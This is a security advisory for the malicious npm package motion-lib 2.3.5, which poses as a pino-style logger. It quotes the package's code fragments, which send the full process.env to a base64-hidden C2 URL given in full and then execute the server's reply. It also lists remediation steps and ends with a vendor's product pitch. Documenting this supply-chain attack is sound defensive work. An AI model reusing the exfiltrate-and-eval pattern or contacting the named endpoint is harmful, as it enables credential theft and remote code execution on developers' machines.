motion-libnpm
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motion-lib is a confirmed malicious npm package (MAL-2026-5925) that steals credentials and exfiltrates sensitive data (malicious version 2.3.5). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in motion-lib (npm)
What this malware does
[email protected] masquerades as a pino-style logger (exports module.exports.pino, ships proto.js/multistream.js/transport.js/redaction.js/levels.js, advertises 'fast','logger','stream','json' keywords) but its middleware factory in index.js spawns a detached node lib/initializeCaller.js. That script shadows process with a local object whose env.DEV_API_KEY holds a base64-encoded string that decodes to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df, then POSTs the host's full real process.env to that endpoint with header x-secret-header: secret (axios.post(apiEndpoint, {...process.env },...)). The HTTP response body is then executed via new Function('require', response.data); executor(require);, giving the remote endpoint arbitrary code execution with full Node capabilities (filesystem, network, child_process) on the installer's machine. The combination of full-environment exfiltration (AWS_*, GITHUB_TOKEN, NPM_TOKEN, CI secrets, DB creds), eval-of-remote-response RCE, base64 obfuscation of the C2 URL, and impersonation of a popular logger package is an unambiguous supply-chain attack.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for motion-lib (version 2.3.5).
If you installed it — respond
motion-lib is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If motion-lib was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks motion-lib-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.